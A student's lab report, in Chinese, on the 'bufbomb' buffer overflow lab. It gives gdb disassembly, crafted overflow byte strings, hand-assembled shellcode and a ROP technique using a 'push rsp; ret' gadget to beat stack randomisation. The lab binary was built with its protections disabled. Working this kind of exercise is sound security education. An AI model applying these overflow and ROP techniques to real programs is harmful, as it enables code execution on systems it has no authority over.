華中科技大學

课 程 实 验 报 告

课程名称： 计算机系统基础实验

实验名称： 缓冲区溢出攻击

院　　系：计算机科学与技术

专业班级：CS2209

学　　号：U202210755

姓　　名：章宏宇

指导教师：李专

2024 年 04 月 13 日

一、实验目的与要求

通过分析一个程序（称为“缓冲区炸弹”）的构成和运行逻辑，加深对理论课中关于程序的机器级表示、函数调用规则、栈结构等方面知识点的理解，增强反汇编、跟踪、分析、调试等能力，加深对缓冲区溢出攻击原理、方法与防范等方面知识的理解和掌握；

实验环境：Ubuntu，GCC，GDB 等。

二、实验内容

程序运行过程中，需要输入特定的字符串，使得程序达到期望的运行效果。

对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks)，也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插入到栈中特定内存位置)和行为，以实现实验预定的目标。bufbomb 目标程序在运行时使用函数 getbuf 读入一个字符串。根据不同的任务，学生生成相应的攻击字符串。

实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击(完成的顺序没有固定要求)。按从易到难的顺序，这些难度级分别命名为 smoke (level 0)、fizz (level 1)、bang (level 2)、boom (level 3)和 kaboom (level 4)。

1、第 0 级 smoke

正常情况下，getbuf 函数运行结束，执行最后的 ret 指令时，将取出保存于栈帧中的返回（断点）地址并跳转至它继续执行（test 函数中调用 getbuf 处）。要求将返回地址的值改为本级别实验的目标 smoke 函数的首条指令的地址， getbuf 函数返回时，跳转到 smoke 函数执行，即达到了实验的目标。

2、第 1 级 fizz

要求 getbuf 函数运行结束后，转到 fizz 函数处执行。与 smoke 的差别是，fizz 函数有一个参数。 fizz 函数中比较了参数 val 与 全局变量 cookie 的值，只有两者相同（要正确打印 val）才能达到目标。

3、第 2 级 bang

要求 getbuf 函数运行结束后，转到 bang 函数执行，并且让全局变量 global_value 与 cookie 相同（要正确打印 global_value）。

4、第 3 级 boom

无感攻击，执行攻击代码后，程序仍然返回到原来的调用函数继续执行，使得调用函数（或者程序用户）感觉不到攻击行为。

构造攻击字符串，让函数 getbuf 将 cookie 值返回给 test 函数，而不是返回值 1 。还原被破坏的栈帧状态，将正确的返回地址压入栈中，并且执行 ret 指令，从而返回到 test 函数。

5、第 4 级 kaboom

一个函数的栈帧的地址通常并不是固定的，随程序运行实例的不同而不同，即每次运行有一个随机的、不固定的值。在此种条件下，要求 getbuf（getbufn）函数返回 cookie 的值，

而不是返回值 1，并且能正确回到调用函数处继续执行。

三、实验记录及问题回答

（1）实验任务的实验记录

1.第 0 级 smoke

首先，进入 gdb，用 disass /rs getbuf 查看 getbuf 的汇编代码，如下图

```
   0x0000000000401c20 <+0>:     55      push   %rbp
   0x0000000000401c21 <+1>:     48 89 e5        mov    %rsp,%rbp
   0x0000000000401c24 <+4>:     48 83 ec 30     sub    $0x30,%rsp
   0x0000000000401c28 <+8>:     48 89 7d d8     mov    %rdi,-0x28(%rbp)
   0x0000000000401c2c <+12>:    89 75 d4        mov    %esi,-0x2c(%rbp)

120         char buf[NORMAL_BUFFER_SIZE];
121         Gets(buf,src,len);
   0x0000000000401c2f <+15>:    8b 55 d4        mov    -0x2c(%rbp),%edx
   0x0000000000401c32 <+18>:    48 8b 4d d8     mov    -0x28(%rbp),%rcx
   0x0000000000401c36 <+22>:    48 8d 45 e0     lea    -0x20(%rbp),%rax
   0x0000000000401c3a <+26>:    48 89 ce        mov    %rcx,%rsi
   0x0000000000401c3d <+29>:    48 89 c7        mov    %rax,%rdi
   0x0000000000401c40 <+32>:    e8 b3 f9 ff ff  call   0x4015f8 <Gets>

122         return 1;
   0x0000000000401c45 <+37>:    b8 01 00 00 00  mov    $0x1,%eax

123     }
   0x0000000000401c4a <+42>:    c9      leave
   0x0000000000401c4b <+43>:    c3      ret
```

分析以上代码，发现第一个参数%rdi 的值就是 buf 的首地址，为%rbp-0x20，结合已学知识可知%rbp 中存的是上个栈帧的%rbp ，%rbp-0x8 存的是返回地址，所以需要把 smoke 的地址放到 buf[40]处。输出告诉我们了 smoke 的地址，所以攻击字符串如下图：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c4 12 40 00 00 00 00 00
```

执行程序，攻击成功。

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string1.txt 0
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string1.txt
level : 0
smoke : 0x0x4012c4   fizz : 0x0x4012eb  bang : 0x0x401349
welcome  U202210755
buf address: 0x7ffde97fcaa0
Smoke!: You called smoke()
NICE JOB!
```

2.第 1 级 fizz

首先查看 fizz 函数的汇编代码

```
   0x00000000004012eb <+0>:     55      push   %rbp
   0x00000000004012ec <+1>:     48 89 e5        mov    %rsp,%rbp
   0x00000000004012ef <+4>:     48 83 ec 10     sub    $0x10,%rsp
   0x00000000004012f3 <+8>:     89 7d fc        mov    %edi,-0x4(%rbp)

54          if (val == cookie) {
   0x00000000004012f6 <+11>:    8b 05 4c 2e 00 00       mov    0x2e4c(%rip),%eax        # 0x404148 <cookie>
   0x00000000004012fc <+17>:    39 45 fc        cmp    %eax,-0x4(%rbp)
   0x00000000004012ff <+20>:    75 25   jne    0x401326 <fizz+59>
```

发现比较时是比较 %eax 和 -0x4(%rbp)，而%eax 存的就是 cookie 的值。所以思路也很简单，只需要修改%rbp 的值，让他指向 buf[4]，然后 buf[0]中存 cookie 的值即可。

先查看 getbuf 的栈帧地址，如下图：

```
(gdb) i reg rbp
rbp            0x7fffffffdfe0      0x7fffffffdfe0
(gdb) i reg rsp
rsp            0x7fffffffdfb0      0x7fffffffdfb0
```

可得 buf 的地址为 0x7fffffffdfc0，那么只需要把 buf[32]-buf[39]设为 buf+0x4，这样-0x4(%rbp)就是 cookie 的值了。修改返回地址的方法与 level0 一致。攻击字符串如下：

```
c3 7d 0d 0c 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c4 df ff ff ff 7f 00 00
eb 12 40 00 00 00 00 00
```

Debug 顺利通过，直接执行程序，发现 misfire，十分奇怪：

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string2.txt 1
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string2.txt
level : 1
smoke : 0x0x4012c4   fizz : 0x0x4012eb  bang : 0x0x401349
welcome  U202210755
buf address: 0x7fffffffdd80
Misfire: You called fizz(0xffffe287)
```

仔细观察输出，发现 buf 地址不一致，可能是 gdb 和 release 的栈地址有差别，只修改攻击字符串的栈地址内容，再执行一遍，可以通过。

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string2.txt 1
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string2.txt
level : 1
smoke : 0x0x4012c4   fizz : 0x0x4012eb  bang : 0x0x401349
welcome  U202210755
buf address: 0x7fffffffdd80
Fizz!: You called fizz(0xc0d7dc3)
NICE JOB!
```

3. 第 2 级 bang

首先，查看 bang 函数的汇编代码，如图：

```
   0x0000000000401349 <+0>:     55          push   %rbp
   0x000000000040134a <+1>:     48 89 e5    mov    %rsp,%rbp
   0x000000000040134d <+4>:     48 83 ec 10 sub    $0x10,%rsp
   0x0000000000401351 <+8>:     89 7d fc    mov    %edi,-0x4(%rbp)

174         if (global_value == cookie) {
   0x0000000000401354 <+11>:    8b 15 f6 2d 00 00       mov    0x2df6(%rip),%edx        # 0x404150 <global_value>
   0x000000000040135a <+17>:    8b 05 e8 2d 00 00       mov    0x2de8(%rip),%eax        # 0x404148 <cookie>
   0x0000000000401360 <+23>:    39 c2   cmp    %eax,%edx
   0x0000000000401362 <+25>:    75 28   jne    0x40138c <bang+67>
```

发现两个 mov 都是直接访问了静态数据段，那么修改%rbp 就无事于补了。参考老师的提示，本关需要打开栈指令可执行化，想到应该是把 buf 的内容当作机器指令执行来修改 global_value。

于是观察 bang 的汇编代码，可得 bang 函数的首地址为 0x401349，&global_value=0xx404150, %cookie=0x404148。由这些值写出汇编代码：

```
lab3 > all > ASM bang.s
1    mov 0x404148, %eax
2    mov %eax, 0x404150
3    mov $0x401349, %rdx
4    jmpq *%rdx
```

用 gcc -c bang.s -o bang.o，然后再用 objdump -d bang.o 来查看机器指令：

```
0000000000000000 <.text>:
   0:   8b 04 25 48 41 40 00    mov    0x404148,%eax
   7:   89 04 25 50 41 40 00    mov    %eax,0x404150
   e:   48 c7 c2 49 13 40 00    mov    $0x401349,%rdx
  15:   ff e2                   jmp    *%rdx
```

根据结果来构造攻击字符串，但奇怪的是在程序运行过程中发现出现了段错误，还是在 printf 中。

```
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7dff0d0 in __vfprintf_internal (s=0x7ffff7fa5780 <_IO_2_1_stdout_>, format=0x402070 "Bang!: You set global_va
lue to 0x%x\n", ap=ap@entry=0x7fffffffdef8, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1244
1244    ./stdio-common/vfprintf-internal.c: No such file or directory.
```

在我锲而不舍地尝试中，怀疑是 printf 会逐级检查返回地址，无效的返回地址会导致报错，故只需要**恢复返回地址**即可，即先 push 进一个合法的代码段地址，比如 test 中调 getbuf 的下一行。修改后的攻击字符串如图：

```
lab3 > all > ≡ string3.txt
1    8b 04 25 48 41 40 00
2    89 04 25 50 41 40 00
3    68 69 14 40 00          /* push 0x401469 */
4    48 c7 c2 49 13 40 00
5    ff e2
6    00 00 00 00
7    30 e0 ff ff ff 7f 00 00
8    c0 df ff ff ff 7f 00 00
```

直接执行，攻击成功！

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string3.txt 2
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string3.txt
level : 2
smoke : 0x0x4012c4   fizz : 0x0x4012eb  bang : 0x0x401349
welcome  U202210755
buf address: 0x7fffffffdd80
Bang!: You set global_value to 0xc0d7dc3
NICE JOB!
```

4. 第 3 级 boom

根据任务提示，发现是要在 test 函数中比较，故先查看 test 的汇编代码：

```
212                 val = getbuf(byte_buffer, byte_buffer_size);
   0x0000000000401458 <+166>:   8b 55 e4        mov    -0x1c(%rbp),%edx
   0x000000000040145b <+169>:   48 8b 45 e8     mov    -0x18(%rbp),%rax
   0x000000000040145f <+173>:   89 d6   mov    %edx,%esi
   0x0000000000401461 <+175>:   48 89 c7        mov    %rax,%rdi
   0x0000000000401464 <+178>:   e8 b7 07 00 00  call   0x401c20 <getbuf>
   0x0000000000401469 <+183>:   89 45 fc        mov    %eax,-0x4(%rbp)

213             }
214
215
216         /* Check for corrupted stack */
217         /*
218         if (local != uniqueval()) {
219             printf("Sabotaged!: the stack has been corrupted\n");
220         }
221         else
222         */
223         if (val == cookie) {
   0x000000000040146c <+186>:   8b 05 d6 2c 00 00       mov    0x2cd6(%rip),%eax        # 0x404148 <cookie>
   0x0000000000401472 <+192>:   39 45 fc        cmp    %eax,-0x4(%rbp)
   0x0000000000401475 <+195>:   75 25   jne    0x40149c <test+234>
```

仔细观察发现，val 就是-0x4(%rbp)，而我们要修改的就是%eax 的值。有 level2 的经验，容易想到还是跳到 buf，依次执行机器指令，修改%eax 的值即可。

但注意到任务中要求要还原被破坏的栈帧状态，那么我们只需要补上一句恢复%rbp 的指令即可。观察 test 的汇编代码，发现%rbp=%rsp+0x30，故修改即可。汇编代码如下：

```
0000000000000000 <.text>:
   0:   8b 04 25 48 41 40 00    mov    0x404148,%eax
   7:   48 89 e5                mov    %rsp,%rbp
   a:   48 83 c5 30             add    $0x30,%rbp
   e:   68 69 14 40 00          push   $0x401469
  13:   c3                      ret
```

跳转方式与 level2 同理，直接执行，攻击成功！

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string4.txt 3
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string4.txt
level : 3
smoke : 0x0x4012c4   fizz : 0x0x4012eb  bang : 0x0x401349
welcome  U202210755
buf address: 0x7fffffffdd80
Boom!: getbuf returned 0xc0d7dc3
NICE JOB!
Userid:
Cookie: 0xc0d7dc3
```

5、第 4 级 kaboom

首先，开启地址随机化，观察 buf 的地址：

```
mystle@Lenovo16plus:~/csappexp/lab3/level4$ ./bufbomb U202210755 string5.txt 4
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string5.txt
level : 4
smoke : 0x0x4012c4   fizz : 0x0x4012eb  bang : 0x0x401349
welcome  U202210755
bufn:0x7ffdb0037050
Segmentation fault
mystle@Lenovo16plus:~/csappexp/lab3/level4$ ./bufbomb U202210755 string5.txt 4
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string5.txt
level : 4
smoke : 0x0x4012c4   fizz : 0x0x4012eb  bang : 0x0x401349
welcome  U202210755
bufn:0x7ffd90eda750
Segmentation fault
```

注意到 bufn 的差别巨大，也就是说滑动攻击（利用一堆空指令来增加命中率）的方法无效。那么只能另寻它路。

在 getbufn 的 ret 处打上断点，观察各寄存器的值：

```
(gdb) i reg rdi
rdi            0x7fffffffdfc0      140737488347072
(gdb) i reg rsi
rsi            0x405890            4216976
(gdb) i reg eax
eax            0x1                 1
```

注意到 rdi 中保存的就是 bufn 的地址，故自然产生一个想法，只需要执行“jmp rdi”即可。发现二进制位 ff e7，所以思路就为找到内存中 0xe7ff 的段即可。

在 gdb 中先执行 info proc mappings，找到可执行代码段，即下图的 r-xp 段：

```
Start Addr           End Addr       Size     Offset  Perms  objfile
  0x400000           0x401000     0x1000        0x0  r--p   /home/mystle/csappexp/lab3/level4/bufbomb (deleted)
  0x401000           0x402000     0x1000     0x1000  r-xp   /home/mystle/csappexp/lab3/level4/bufbomb (deleted)
  0x402000           0x403000     0x1000     0x2000  r--p   /home/mystle/csappexp/lab3/level4/bufbomb (deleted)
  0x403000           0x404000     0x1000     0x2000  r--p   /home/mystle/csappexp/lab3/level4/bufbomb (deleted)
  0x404000           0x405000     0x1000     0x3000  rw-p   /home/mystle/csappexp/lab3/level4/bufbomb (deleted)
```

在可执行代码段中寻找 jmp rdi：

```
(gdb) find 0x401000, 0x402000, 0xe7ff
Pattern not found.
```

可惜没有找到，原因是代码段实在是太短，找到需要的指令的可能性极低。接下来有两种思路，一种是修改源代码，第二种是把动态链接改成静态链接。

在这我采用第二种方法，即把编译选项改为：

```
gcc -static -g -D U5 -fno-stack-protector -no-pie -fcf-protection=none -z execstack bufbomb.c buf.c support.c -o bufbomb
```

这里我用了一个软件叫 ROPgadget，可以很方便的查找指令，支持模糊查找等筛选方法，而且自动在可执行代码段中查找，十分方便。采用 ROP(Return Oriented Programming)的思路，找小 gadget：

```
mystle@Lenovo16plus:~/csappexp/lab3/level4$ ROPgadget --binary bufbomb --only "push|ret"
Gadgets information
============================================================
0x000000000042aac5 : push -0x7d ; ret
0x000000000044cc94 : push -0x9ffffff ; ret 0x7501
0x00000000004019cd : push 0x5d01000e ; ret
0x0000000000488db1 : push qword ptr [rbp + rax - 0xa] ; ret 0x7408
0x0000000000422316 : push qword ptr [rbp + rcx - 0x18] ; ret 0x6d
0x00000000004b4d45 : push qword ptr [rbp + rcx*2 - 0x77] ; ret 0x8948
0x00000000004587b0 : push qword ptr [rbx + 1] ; ret
0x00000000004596cc : push qword ptr [rdi + 0x21] ; ret
0x0000000000458abc : push qword ptr [rdi + 0x51] ; ret
0x0000000000458a17 : push qword ptr [rdi + 0x56] ; ret
0x000000000048b103 : push qword ptr [rdi + 0xa] ; ret
0x00000000004980dc : push qword ptr [rdi + 1] ; ret
0x0000000000459529 : push qword ptr [rdi + 4] ; ret
0x000000000458b50 : push qword ptr [rdi + 5] ; ret
0x00000000004594bd : push qword ptr [rdi + 8] ; ret
0x00000000004b31ac : push qword ptr [rsi + riz*2 - 0x77] ; ret 0xe283
0x000000000045c791 : push rax ; ret
0x0000000000480bfc : push rbp ; ret
0x0000000000458abe : push rcx ; ret
0x000000000040388a : push rdi ; ret 0
0x00000000004584f8 : push rdi ; ret 0x4000
0x0000000000414d82 : push rdx ; ret
0x0000000000458a19 : push rsi ; ret
0x00000000004960f0 : push rsi ; ret 0x7420
0x000000000047ca93 : push rsi ; ret 0x7440
0x0000000000403ef4 : push rsi ; ret 0xf02
0x000000000047d9af : push rsi ; ret 0xf20
0x0000000000427f62 : push rsp ; ret
0x0000000000428883 : push rsp ; ret 0xe8f0
```

接下来就需要发挥奇思妙想了。容易**注意到**，getbufn 中 ret 后，%rsp 指向返回地址-1，而我们能修改的不仅仅是 getbufn 的栈帧，实际上考虑到在 testn 中调用 getbufn 后并不会再用到很多局部变量，所以我们也可以破坏 testn 的栈帧。

一言以蔽之：只需要把所需指令从 testn 的%rsp 开始存，修改返回地址为“push rsp；ret”即可，注意需要恢复 rbp 的值。

攻击字符串如下：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
62 7f 42 00 00 00 00 00 // push rsp; ret
8b 04 25 48 83 4e 00    // mov    0x4e8348,%eax
48 89 e5                // mov    %rsp,%rbp
48 83 c5 30             // add    $0x30,%rbp
68 1e 1d 40 00          // push   $0x401d1e
c3                      // ret
```

直接执行，攻击成功！

```
mystle@Lenovo16plus:~/csappexp/lab3/level4$ ./bufbomb U202210755 string5.txt 4
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string5.txt
level : 4
smoke : 0x0x401aa3   fizz : 0x0x401aca  bang : 0x0x401b28
welcome  U202210755
bufn:0x7ffd0327ce00
KABOOM!: getbufn returned 0xc0d7dc3
Keep going
Userid: U202210755
Cookie: 0xc0d7dc3
Address of libc: 0x40cbe0
```

（2）缓冲区溢出攻击中字符串产生的方法描述

1. 前几个 level 只需要找到返回地址相对于 buf 的偏移量，修改返回地址为需要的值即可。

2. 后面几个需要在栈空间中执行攻击指令，故需要手写汇编代码，并汇编成二进制文件，放入 buf 中。

3. 最后 level4 需要找到.text 段中的可复用的二进制段，故需要特殊的查找工具。我用到的就是 ROPgadget，能找到所有包含 “push|ret”的二进制段，十分方便。

四、体会

首先谈谈我的心路历程吧。一开始两关思路都是一眼出，但 level1 死活就是段错误，卡了一天才发现是 gdb 和 release 版地址不同。好不容易修完 bug，去做 level2 时又出现了

printf 报错，百思不得其解。在翘掉一节体育课不断尝试后，我灵机一动，想到恢复 call 指令，即手动 push 一个返回地址。果然轻松解决可行。之后的关卡都如同砍瓜切菜，直到 level4。

Level4 我是从周五晚上 10 点开始写的，写到 2 点都毫无头绪。耻辱下播后第二天又写了一个下午，还是难以解决。主要问题还是 64 位网上并无解法，同时现有的思路（如 ROP）都受限于较短的代码段导致无法实现。最后问老师才发现可以小幅度修改源程序（。

周一上计算机系统与基础时刚好讲到链接，张宇老师介绍了动态链接和静态链接，我灵机一动，想到能否用 C 标准库来构造 gadget。于是尝试了静态链接的方法。仔细一看，发现果然 .text 段多出了许多可执行节，于是我来不及实现，赶忙找李专老师报喜。

之后同学想复现我的做法发现死活段错误，我上手仔细调试才发现就算是 C 标准库也很难找到 jmp *rdi 这条指令。于是又花费了一节数据库课来寻找新的 gadget，最后也是顺利找到。

总而言之，虽然本次实验提示/限制不够清晰，有很多坑/雷，老师的帮助也有限，所有工作都是我独自艰难地不断试错试出来的。但解决问题后的痛快感，分享解决思路后他人的感谢仿佛扫清了一切的负面情绪，唯有自豪感长留于心。

附上博客链接：

解决 printf 报错：http://t.csdnimg.cn/Di6RW

Level4 思路：http://t.csdnimg.cn/odeGP